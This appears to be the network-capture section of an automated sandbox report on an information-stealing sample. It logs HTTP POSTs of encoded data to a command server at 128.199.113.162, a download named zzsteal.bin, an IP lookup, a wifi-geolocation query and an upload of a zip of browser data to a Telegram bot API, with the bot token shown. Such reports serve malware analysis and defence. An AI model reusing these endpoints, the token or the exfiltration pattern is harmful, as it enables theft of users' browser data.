Apr 16, 2024 14:26:54.640976906 CEST	12890	OUT	Data Raw: 4e 61 6d 65 3d 4d 50 47 76 6d 5a 70 49 26 64 61 74 61 46 69 6c 65 3d 76 45 6f 69 48 50 38 32 55 37 6c 43 4d 6d 4d 5a 25 32 66 53 4a 46 69 74 69 53 61 70 30 6b 4b 77 77 4d 31 4f 4e 52 6b 61 42 55 6d 71 48 65 61 7a 31 66 6d 36 76 56 61 38 74 71 44 Data Ascii: Name=MPGvmZpI&dataFile=vEoiHP82U7lCMmMZ%2fSJFitiSap0kKwwM1ONRkaBUmqHeaz1fm6vVa8tqDLM1VcGKEGGlPJhLxMQn48IgQpLX%2fxscwS9NomRgIwX1wSzjrOvAppv4jwN4D3T2kkyM4COyN%2fmyB4Zpgy5K1heytML5uJZZ030VBSmOVWlkNAP0bihcvgCMtgueQZPyFW9wxAU2HoiqM6UHqLUSywnSGA1QOE
Apr 16, 2024 14:26:54.971576929 CEST	24491	OUT	Data Raw: 39 71 79 4b 51 72 33 48 4e 4c 56 35 77 37 79 34 6d 5a 7a 4d 73 58 71 30 51 6b 65 34 70 4a 46 47 48 4f 69 49 33 41 41 65 72 6b 31 6e 25 32 62 6c 36 52 6d 38 47 34 64 37 50 43 25 32 62 79 32 58 66 62 73 6d 61 4f 71 6f 61 55 48 58 6a 64 4d 5a 37 52 Data Ascii: 9qyKQr3HNLV5w7y4mZzMsXq0Qke4pJFGHOiI3AAerk1n%2bl6Rm8G4d7PC%2by2XfbsmaOqoaUHXjdMZ7RlMf9ZFEZ4U%2bDJdpx6%2fNFGqr4EUOmOxnktJOlT6FUxvdAHJx5Q3oti5%2bbsLjpxVCUqE7O4AUA5iqmU7Pi6MfBAXcUfxzsuQKCDxC4POmLAlJ8WJ4Oi1d3ZojK0nlUs9nBvo17Pb%2bvQZDTfbEgjLrFhY0j5
Apr 16, 2024 14:26:55.301511049 CEST	48982	OUT	Data Raw: 33 35 6b 56 49 47 59 4f 32 36 71 62 61 43 53 6e 53 59 51 4c 61 56 43 71 35 6b 45 4c 6c 59 45 42 35 7a 49 62 48 77 68 65 66 52 58 53 55 34 70 6a 59 47 4a 45 57 4c 69 39 76 5a 58 52 31 64 25 32 62 66 37 25 32 62 34 36 6b 33 53 57 62 4f 77 53 52 45 Data Ascii: 35kVIGYO26qbaCSnSYQLaVCq5kELlYEB5zIbHwhefRXSU4pjYGJEWLi9vZXR1d%2bf7%2b46k3SWbOwSREg7BZGUtz3Q7j2NhE8z6WOpSwPT8geAcDvO3W6ev0OsXvAq1L1eOrMHQhbKOUgyqbyVmiGht7jWgypKes097sDKe1YFAtnWAd5mUcXbiKbmRskzM%2bqaasL4ii7mtZzL5oKU5c1rI8O1SDBhkYqw3N%2blFmpunp9
Apr 16, 2024 14:26:55.631191015 CEST	43826	OUT	Data Raw: 37 4f 38 75 42 70 64 4b 33 4b 36 56 73 33 62 66 36 44 6e 73 39 59 36 41 45 48 6f 69 46 59 46 56 78 38 69 37 44 62 78 73 69 71 6d 41 5a 32 4b 6a 64 35 4e 69 36 4b 6a 50 4e 61 44 52 4b 33 36 64 35 34 44 69 72 5a 75 30 61 53 75 52 70 6f 57 6d 77 69 Data Ascii: 7O8uBpdK3K6Vs3bf6Dns9Y6AEHoiFYFVx8i7DbxsiqmAZ2Kjd5Ni6KjPNaDRK36d54DirZu0aSuRpoWmwiHjw8qy3wFECov%2fomOZIym%2fB4gCIPsy02k1fv7TgS0GSJpRDcugpfkVKZw2DlUrXTMbKdxHO4qWTL2E2L%2fuzaeeXsVW2Nli7IKAxvUVeMtREjwwC9W9XBo24yT1R507DKIMYSU1D32WhBuYsdGIAIr5eOrTT
Apr 16, 2024 14:26:55.631364107 CEST	5156	OUT	Data Raw: 53 77 47 47 43 69 63 79 6d 56 54 4d 79 46 61 6e 4e 42 59 74 76 48 42 6d 54 61 71 4a 48 70 73 73 6e 50 7a 5a 6b 4c 65 6e 4f 4d 38 78 57 58 4d 50 42 79 45 65 61 7a 55 78 4d 41 47 63 38 68 35 39 71 4c 50 30 44 76 6e 51 46 79 7a 63 55 38 6d 6e 38 53 Data Ascii: SwGGCicymVTMyFanNBYtvHBmTaqJHpssnPzZkLenOM8xWXMPByEeazUxMAGc8h59qLP0DvnQFyzcU8mn8SW0bQqafJ%2bKkqxA3ctmZSLqg58HcWmhT%2fSLtdO9gqKK%2bU0uKeIooOIfSJgtWmx2N04c9feWOvt9s9Blp4f25P6F%2bc8i%2fiK73X7J7PwZM050lKI0Hk25ZT%2frXAhjxmK77jdwcWEP%2b1FHD4%2fCTub
Apr 16, 2024 14:26:55.631474018 CEST	4794	OUT	Data Raw: 42 35 55 7a 49 38 52 48 4b 71 6f 54 35 76 49 4d 56 4c 6b 6a 56 52 4a 64 46 5a 67 4d 44 4f 4c 78 49 25 32 66 34 64 25 32 62 42 36 78 48 6a 48 6c 42 66 6b 43 78 47 32 70 64 4a 6e 58 32 41 46 6c 51 75 63 78 4b 50 52 75 49 34 71 42 34 6b 33 78 65 79 Data Ascii: B5UzI8RHKqoT5vIMVLkjVRJdFZgMDOLxI%2f4d%2bB6xHjHlBfkCxG2pdJnX2AFlQucxKPRuI4qB4k3xeyK1%2bqVmcRw1sUz5y8BMWhsoliUlxSHJZf%2fLTzxyI2685USiVy2ykw4lsnixnPXjphIdyZ2LasbB0%2fQ8iLMqdGxSUntNGY7pxcaheRNXobLUVxGIxJDlQk0zb01Sk5AFtkpbtZhwlu8Gq2vXfpcbaKhWCcSqp
Apr 16, 2024 14:26:55.959554911 CEST	1289	OUT	Data Raw: 6d 54 76 37 75 6a 63 75 6a 52 52 54 35 72 37 6d 7a 50 33 56 79 25 32 66 59 37 64 25 32 62 63 47 71 55 78 47 44 56 55 55 4f 56 43 39 4d 73 59 41 6f 50 25 32 66 55 36 62 70 43 61 6a 25 32 66 46 6e 5a 36 68 49 55 38 51 52 25 32 66 38 51 61 37 5a 69 Data Ascii: mTv7ujcujRRT5r7mzP3Vy%2fY7d%2bcGqUxGDVUUOVC9MsYAoP%2fU6bpCaj%2fFnZ6hIU8QR%2f8Qa7ZiXxRCs90EEv1Tl6TTQsTkn3wAUWKqhU9sxW4r0lQ2UgmFzRtm%2baYwtPtj3N88RBQ1PjyZbavrnWedfk40c8JFUgsADMtcs9neNDWSNha0xnnIQfC4IEfXqIlUguecxB4Ql4TJvkfr16gxoagEvrmgZihBCAYsNJM
Apr 16, 2024 14:26:56.209821939 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 12:26:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 38 3d 3d 33 Data Ascii: 8==3
Apr 16, 2024 14:26:57.711249113 CEST	547	OUT	GET /XtfcshEgt/upwawsfrg.php?zd=1 HTTP/1.1 Cookie: SESSION=Gcj+h91LeJxqEAdq3hlnr5vILKnhsk514dxtp+No3JD7QBgj4catKb4KZZoEe7n0ZQHfUqB4+LRcnLZpCNm+vlRVwAlzuGF/Ogb31zT1/J+v/tG52kIlGXwrBCWsk0XIUZPNK8kN4FIXgHizyKTrvIpZz3YVByuSV3l6JFK2KVQP4VecvhvlHdWlS3UQ3xdHQ8j9KcN4s7UAumu1CgmZyH0yDEijiEEFO2qYchSihH2HLA6McZ2qghDxmjavG0Wz3soCffYWADkZqOeAv4RewsFkOlVJuf/SiScZljMLny+gsCdQWKnRqXZJPmRDp5DQsAH7VTTYRrINKSibONStNYaRZFHiK6XnbaEMnI6z User-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0 Host: 128.199.113.162
Apr 16, 2024 14:26:58.250277042 CEST	365	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 12:26:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Description: File Transfer Content-Disposition: attachment; filename=zzsteal.bin Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public Content-Length: 323584 Content-Type: application/octet-stream
Apr 16, 2024 14:26:58.250469923 CEST	1289	IN	Data Raw: 44 73 68 4e 2f 50 77 6d 47 66 38 50 64 47 4d 59 41 39 78 46 36 6d 44 79 61 70 33 62 38 41 78 50 6c 4f 74 58 6c 36 64 53 6e 36 6e 5a 62 44 70 57 6b 71 50 66 5a 39 39 6e 41 4c 67 2b 57 64 69 59 41 32 36 78 49 59 4a 55 32 74 6b 39 2f 39 34 41 35 72 Data Ascii: DshN/PwmGf8PdGMYA9xF6mDyap3b8AxPlOtXl6dSn6nZbDpWkqPfZ99nALg+WdiYA26xIYJU2tk9/94A5rzw3zcvWD1RPlqELo3FudX256SQ6IO6wUIsSSdkaS+uj0TUStXbbr4W+1hYnmWzwr+YqskEhSoJOha2Q1tWBjHGXBo+yTK+yDivc8rHMztC9jcELLqYAXc1mIYr+DDgKpWs+E0aTGiRpnU1teTTCDauphr3uUPtHPj
Apr 16, 2024 14:26:58.250489950 CEST	1289	IN	Data Raw: 55 44 46 68 33 6b 46 50 76 59 46 6b 4a 4b 7a 42 48 4e 62 68 51 45 78 7a 72 34 51 45 4b 74 31 6f 50 6c 6b 56 2f 64 34 56 47 77 52 6c 63 74 38 50 4e 70 79 35 52 55 2b 68 36 58 4d 4f 76 62 79 49 59 53 33 69 6f 49 47 44 2b 77 56 76 4c 67 61 62 36 61 Data Ascii: UDFh3kFPvYFkJKzBHNbhQExzr4QEKt1oPlkV/d4VGwRlct8PNpy5RU+h6XMOvbyIYS3ioIGD+wVvLgab6aLsqBT9WcI04i1YLlEOLA6vuw4zzq7pMxzGQ7uJXRWNSqW5fEtnue5a9oGp+eytcjoJpb7SI88tnF4/BNk5e0popOybsZ0ExEQrefkp3N35jsbNdGO665d5OLomCXD1r14MjoEddU4XgS5NDtwRzzvGpCm+T15R7ac
Apr 16, 2024 14:26:58.250500917 CEST	1289	IN	Data Raw: 63 62 63 4a 46 4a 4d 4b 6c 69 34 4b 6e 4b 2b 52 47 79 39 68 66 55 69 73 39 44 72 4c 76 48 55 50 79 58 72 69 4c 72 4f 41 64 6a 4d 4c 52 4d 77 50 43 5a 31 4d 71 6b 4f 75 35 64 75 56 33 41 36 62 73 74 69 66 2b 2b 76 45 42 66 4c 76 6d 67 59 50 42 62 Data Ascii: cbcJFJMKli4KnK+RGy9hfUis9DrLvHUPyXriLrOAdjMLRMwPCZ1MqkOu5duV3A6bstif++vEBfLvmgYPBbz8La0jD/Uctx9428Ps2+TccmrSjTo4Jawe4lMxtzRK+vsdElPhGvJp6iBDJJMluE4G784Pfub6Rgs/3syP0fhpV6cTM1+vCbiUzTJcNyVvDaJMHhASuBizknd+LhMhvRJaUaECPjXobdOaEGKCLr0N9S4RM15dm3D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	104.16.185.241	80	6044	C:\Users\user\Desktop\HTZ4az17lj.exe

Timestamp	Bytes transferred	Direction	Data
Apr 16, 2024 14:27:01.849190950 CEST	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Apr 16, 2024 14:27:01.975649118 CEST	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 12:27:01 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=oumrZ3FCN9UyRiHKkeEv_nTo9YEs2w575QsUJBF7Fcs-1713270421-1.0.1.1-WMmrLe9N9_hISQfwiOtWNJzrm1KDz_57e2egSgSyzQAQd4RrVF99.64AZvRXkuGJqU8Gth3ezTdg8AbRSMPW9Q; path=/; expires=Tue, 16-Apr-24 12:57:01 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 87542ac8dcb7452c-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 0a Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49712	128.199.113.162	80	7832	C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe

Timestamp	Bytes transferred	Direction	Data
Apr 16, 2024 14:27:02.036804914 CEST	662	OUT	POST /XtfcshEgt/upwawsfrg.php HTTP/1.1 Cookie: SESSION=Gcj+h91LeJxqEAdq3hlnr5vILKnhsk514dxtp+No3JD7QBgj4catKb4KZZoEe7n0ZQHfUqB4+LRcnLZpCNm+vlRVwAlzuGF/Ogb31zT1/J+v/tG52kIlGXwrBCWsk0XIUZPNK8kN4FIXgHizyKTrvIpZz3YVByuSV3l6JFK2KVQP4VecvhvlHdWlS3UQ3xdHQ8j9KcN4s7UAumu1CgmZyH0yDEijiEEFO2qYchSihH2HLA6McZ2qghDxmjavG0Wz3soCffYWADkZqOeAv4RewsFkOlVJuf/SiScZljMLny+gsCdQWKnRqXZJPmRDp5DQsAH7VTTYRrINKSibONStNYaRZFHiK6XnbaEMnI6z Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0 Host: 128.199.113.162 Content-Length: 196277 Expect: 100-continue Connection: Keep-Alive
Apr 16, 2024 14:27:02.350637913 CEST	25	IN	HTTP/1.1 100 Continue
Apr 16, 2024 14:27:02.351074934 CEST	12890	OUT	Data Raw: 4e 61 6d 65 3d 4d 50 47 76 6d 5a 70 49 26 64 61 74 61 46 69 6c 65 3d 76 45 6f 69 48 50 38 32 55 37 6c 43 4d 6d 4d 5a 25 32 66 53 4a 46 69 74 69 53 61 70 30 6b 4b 77 77 4d 31 4f 4e 52 6b 61 42 55 6d 71 48 65 61 7a 31 66 6d 36 76 56 61 38 74 71 44 Data Ascii: Name=MPGvmZpI&dataFile=vEoiHP82U7lCMmMZ%2fSJFitiSap0kKwwM1ONRkaBUmqHeaz1fm6vVa8tqDLM1VcGKEGGlPJhLxMQn48IgQpLX%2fxscwS9NomRgIwX1wSzjrOvAppv4jwN4D3T2kkyM4COyN%2fmyB4Zpgy5K1heytML5uJZZ030VBSmOVWlkNAP0bihcvgCMtgueQZPyFW9wxAU2HoiqM6UHqLUSywnSGA1QOE
Apr 16, 2024 14:27:02.667795897 CEST	25780	OUT	Data Raw: 48 6a 65 46 36 46 47 31 67 56 48 38 70 36 70 77 32 30 5a 71 61 38 6e 25 32 66 52 51 4c 71 35 58 4d 32 41 25 32 66 6e 67 6c 25 32 66 58 6c 31 6c 25 32 66 34 51 32 4c 4f 56 34 70 75 65 45 55 55 37 4b 4e 79 25 32 62 73 73 56 36 66 45 6b 44 32 66 36 Data Ascii: HjeF6FG1gVH8p6pw20Zqa8n%2fRQLq5XM2A%2fngl%2fXl1l%2f4Q2LOV4pueEUU7KNy%2bssV6fEkD2f6jtO9rL3jUDljYwpvhxd5IMQPKdt%2fBUZ6lp4qWZYmS6yIpCsGGqy9joNaTvpLaJT2GOSL6LvbyGu0tqf70Z3l7tLMvzD7CtU%2f3aF4FiU0F0JzHLgbxtcGGfl7mPzjK5zjAVUSbaWMt%2bgceZU9r4%2bwKojvA
Apr 16, 2024 14:27:02.981502056 CEST	2578	OUT	Data Raw: 25 32 62 5a 4c 43 59 53 78 53 36 48 6f 43 39 37 52 32 4b 5a 42 67 62 34 54 39 72 64 4e 58 36 35 63 49 56 73 58 69 55 4c 66 72 52 6d 78 4b 44 49 6d 54 48 33 34 70 73 6b 4a 6f 34 66 56 70 30 35 55 46 54 73 4a 66 4c 25 32 66 5a 71 52 76 6a 78 4c 39 Data Ascii: %2bZLCYSxS6HoC97R2KZBgb4T9rdNX65cIVsXiULfrRmxKDImTH34pskJo4fVp05UFTsJfL%2fZqRvjxL9KLdRmdaYdiKyJlSSR8cbdgjQ4pH4bqVzA%2fiNUa%2bo8%2bB%2fLtOmZpQVvm2Izep0trJRoHAGQFU4uH8QixdAWweH2cE3Ym6IdKV1A8IsXaOox4PjFkf9Usr4UFIuxD3SBIbm5z6Z3dpysyMwVog8BMC0y1%2b
Apr 16, 2024 14:27:02.981739044 CEST	20624	OUT	Data Raw: 6d 68 63 59 7a 4f 49 6e 64 51 42 4a 4d 54 7a 67 63 45 78 50 34 31 79 65 39 52 4d 55 78 43 78 78 70 37 70 37 63 25 32 62 33 59 42 46 51 33 50 25 32 62 4b 25 32 66 38 36 75 32 7a 25 32 62 38 76 63 66 65 74 51 58 78 7a 51 72 53 45 57 4d 49 58 58 5a Data Ascii: mhcYzOIndQBJMTzgcExP41ye9RMUxCxxp7p7c%2b3YBFQ3P%2bK%2f86u2z%2b8vcfetQXxzQrSEWMIXXZ5GJtAIMhm3sJVCTiQAHaZCUMt2kBa42YR7Sqxpq1yP0RJqLpbk89PIOvdbjNJRHy8Zxsk1SVlAttqyJpK3kR77ZKDWTmJEYrh1bJ%2f1eRgd5Zv%2fahSJcnmPhGcgQDcxvaX%2f8K%2fo5A1u%2f9gTd8zioWWwG
Apr 16, 2024 14:27:02.982031107 CEST	24491	OUT	Data Raw: 58 67 74 4e 32 4e 59 65 66 4b 73 38 56 74 4a 7a 57 25 32 66 54 5a 36 73 6a 4d 62 4c 25 32 62 39 76 36 53 4f 70 7a 71 74 32 74 52 59 25 32 66 4c 78 69 65 6c 4f 6c 67 69 38 37 5a 66 43 66 4d 79 7a 56 41 75 49 36 6a 5a 6e 6e 6f 4a 41 58 6b 33 4a 7a Data Ascii: XgtN2NYefKs8VtJzW%2fTZ6sjMbL%2b9v6SOpzqt2tRY%2fLxielOlgi87ZfCfMyzVAuI6jZnnoJAXk3JzsTKl1e52EL6gIGR%2btkleOJKg7hr2fzV8VLXvgASpAu4xNMmEqVBOCOTl5K5as8GnyT%2bJGS518HSpdr2H7GhltLoYPBGjIX54VCNNdLEQoPBDKsl0V9C0f855bdypdoB1vWutd4IHuzN3cwOHuJOZaCwwStXaJ
Apr 16, 2024 14:27:03.295489073 CEST	7734	OUT	Data Raw: 41 30 67 79 6f 5a 63 75 78 39 78 6d 4a 51 72 25 32 62 71 77 59 6b 67 51 79 6b 44 62 6f 38 75 62 6a 4c 6e 34 61 67 37 30 49 56 6e 70 68 6b 45 53 56 66 51 43 79 57 77 30 53 33 67 70 6a 4f 46 73 47 58 4a 33 73 64 41 76 44 62 73 25 32 66 57 73 46 74 Data Ascii: A0gyoZcux9xmJQr%2bqwYkgQykDbo8ubjLn4ag70IVnphkESVfQCyWw0S3gpjOFsGXJ3sdAvDbs%2fWsFtITKwdIrVAsZs0BftWpjkciZpwOarRSA61m0HNn539xB%2bQnof1XiLQosmMw4OaQTA0aQJLkm3I1Lt%2bL0BmtOWjJGCEGBgU1P6IfLmAR6igs8x1cXND6m5JjCIco5WmYgi2Zm3mU%2fvXyy%2b61lFtfv3HttKP
Apr 16, 2024 14:27:03.295681000 CEST	23202	OUT	Data Raw: 36 4f 6a 33 61 5a 42 39 70 45 4a 34 51 4c 6e 76 78 57 51 57 4d 42 67 50 41 25 32 62 65 57 6c 73 35 30 4f 6f 6b 47 6e 4f 70 48 6b 76 61 72 77 59 38 6b 77 69 7a 63 41 34 41 49 65 69 43 6f 25 32 66 50 4b 52 6a 36 35 6f 6d 79 30 58 66 32 58 50 53 63 Data Ascii: 6Oj3aZB9pEJ4QLnvxWQWMBgPA%2beWls50OokGnOpHkvarwY8kwizcA4AIeiCo%2fPKRj65omy0Xf2XPSc%2f5RUqcwuJblRd5mcd74FkZxGImTTidXTNU0M4HlE3AIpEQlbRKrKT1lmmcgP1UWE74zXo5zum0QJ2y7DKQnHpbnhQOs4Ouzybu%2f6VT01XCX8qiNE3B8sm3lwsSTMF4T1zUniG5oPoDerF9iKMZQdtVARbaJxF
Apr 16, 2024 14:27:03.296210051 CEST	52849	OUT	Data Raw: 66 30 32 52 47 65 69 36 4c 34 55 6b 45 36 41 57 47 4b 64 4f 5a 45 44 36 57 31 32 6a 71 4e 39 41 58 35 6f 63 6a 41 6e 42 49 6c 74 65 59 75 64 36 57 35 4c 25 32 66 57 35 25 32 62 79 36 65 50 5a 4e 78 78 4e 52 35 55 72 52 67 4e 39 77 64 6f 32 4b 30 Data Ascii: f02RGei6L4UkE6AWGKdOZED6W12jqN9AX5ocjAnBIlteYud6W5L%2fW5%2by6ePZNxxNR5UrRgN9wdo2K08N6uZuVK%2b5DpRG6F99JGPpNXSPz%2bT%2f70uGYWtnAB5YA%2fxCTPxgAtXA28tTWcGQzOG%2f834247q9FDoWpeRgyj%2fyIL%2bt4WDlEsD4Qll88r4y9%2fac6WqsAUl5YGgtIyTkB6lO5u3w72rfpZhKrc%
Apr 16, 2024 14:27:03.609350920 CEST	2578	OUT	Data Raw: 31 72 25 32 66 61 49 42 62 51 25 32 66 6d 4f 35 42 35 6f 71 5a 47 32 4e 4d 71 49 74 4a 7a 67 6d 7a 4c 74 68 4d 4a 71 77 34 57 57 63 25 32 62 63 51 6d 32 79 30 44 36 37 47 69 37 73 39 48 44 5a 6b 33 46 76 54 45 6a 62 50 6d 54 38 6a 32 54 63 35 25 Data Ascii: 1r%2faIBbQ%2fmO5B5oqZG2NMqItJzgmzLthMJqw4WWc%2bcQm2y0D67Gi7s9HDZk3FvTEjbPmT8j2Tc5%2fWxJuU3L%2bXisCfIfy5r7msLfpN%2fwTUjReq5dVqbrtrGR6TnPcnD47%2bAKxSpzHV3c40S3ws8w2PHa3GuYk8jtzFwZE6TqMkTDmepvCAvn%2ftdhUDdNq41FuQOpTlfkmnK18%2f8GJsITxVw4l0OmAOxn3u
Apr 16, 2024 14:27:03.609399080 CEST	20624	OUT	Data Raw: 75 39 72 70 54 56 34 6d 25 32 66 64 64 25 32 62 33 6f 25 32 62 6c 32 43 34 54 70 69 36 52 25 32 62 4a 63 62 4b 65 70 53 61 4e 30 47 62 4c 62 45 53 79 6f 72 6f 4b 70 7a 78 63 75 30 36 4e 76 32 73 50 66 6f 39 55 4c 53 61 6f 7a 51 25 32 62 25 32 66 Data Ascii: u9rpTV4m%2fdd%2b3o%2bl2C4Tpi6R%2bJcbKepSaN0GbLbESyoroKpzxcu06Nv2sPfo9ULSaozQ%2b%2fn6UEF4Mn2Qz%2bG3sqEIYvqM3L9d34QyxOD0wJ0%2bNkvyIEYzGoQslrWCarAy%2bLrDIUajWsaQG4HbixluEyvlVje4qleDVH%2fz6AMVjRwYhrRC55gEwpuIBFkk47W%2bHFQ4SXIwvW8Oe%2fWGgQNCyAZRU8c
Apr 16, 2024 14:27:04.203579903 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 12:27:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49715	104.21.44.66	443	6044	C:\Users\user\Desktop\HTZ4az17lj.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 12:27:02 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2024-04-16 12:27:03 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 12:27:03 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Tue, 16 Apr 2024 12:27:03 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=drQ2VK%2FzpzDCiLpkIqdJCxnctk4GI4RjjWO0fBd1CaUE3e9OuDFxbKyBZv%2BbB%2F3SQ4T2PI0oUBQY8Mpg39680uym5juE%2FuAa6Ac8DPv%2FbJmRRiycnpCkLtUV6TPl6h9Pk%2FqX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 87542ace396e450d-ATL alt-svc: h3=":443"; ma=86400
2024-04-16 12:27:03 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 31 33 32 37 30 34 32 33 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1713270423}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49716	23.63.206.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 12:27:02 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 12:27:02 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=153396 Date: Tue, 16 Apr 2024 12:27:02 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49717	23.63.206.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-16 12:27:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-16 12:27:03 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=153405 Date: Tue, 16 Apr 2024 12:27:03 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-16 12:27:03 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49718	149.154.167.220	443	6044	C:\Users\user\Desktop\HTZ4az17lj.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 12:27:05 UTC	278	OUT	POST /bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendDocument?chat_id=1126217452 HTTP/1.1 Content-Type: multipart/form-data; boundary="b0e207a3-07fa-498b-b8fa-a48a2fe21eb9" Host: api.telegram.org Content-Length: 197085 Expect: 100-continue Connection: Keep-Alive
2024-04-16 12:27:05 UTC	40	OUT	Data Raw: 2d 2d 62 30 65 32 30 37 61 33 2d 30 37 66 61 2d 34 39 38 62 2d 62 38 66 61 2d 61 34 38 61 32 66 65 32 31 65 62 39 0d 0a Data Ascii: --b0e207a3-07fa-498b-b8fa-a48a2fe21eb9
2024-04-16 12:27:05 UTC	107	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 36 44 39 37 43 36 32 34 44 37 2e 7a 69 70 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 36 44 39 37 43 36 32 34 44 37 2e 7a 69 70 0d 0a 0d 0a Data Ascii: Content-Disposition: form-data; name=document; filename=6D97C624D7.zip; filename*=utf-8''6D97C624D7.zip
2024-04-16 12:27:05 UTC	16355	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 6f 00 91 58 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 42 72 6f 77 73 65 72 73 5c 45 64 67 65 5c 50 4b 03 04 14 00 00 00 00 00 6f 00 91 58 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 42 72 6f 77 73 65 72 73 5c 47 6f 6f 67 6c 65 5c 50 4b 03 04 14 00 00 00 08 00 60 73 90 58 51 33 92 06 4a 00 00 00 69 00 00 00 1e 00 00 00 42 72 6f 77 73 65 72 73 5c 46 69 72 65 66 6f 78 5c 42 6f 6f 6b 6d 61 72 6b 73 2e 74 78 74 53 56 56 56 70 4f 2d 51 f0 48 cd 29 50 50 56 56 e6 02 62 05 e7 d2 e2 92 fc dc cc aa 54 05 b7 cc a2 d4 b4 fc 0a b8 0c 48 a9 67 5e 59 7e 4e 59 6a 0a 5c d0 31 29 bf b4 44 21 b4 18 59 55 49 66 5e ba 42 70 49 62 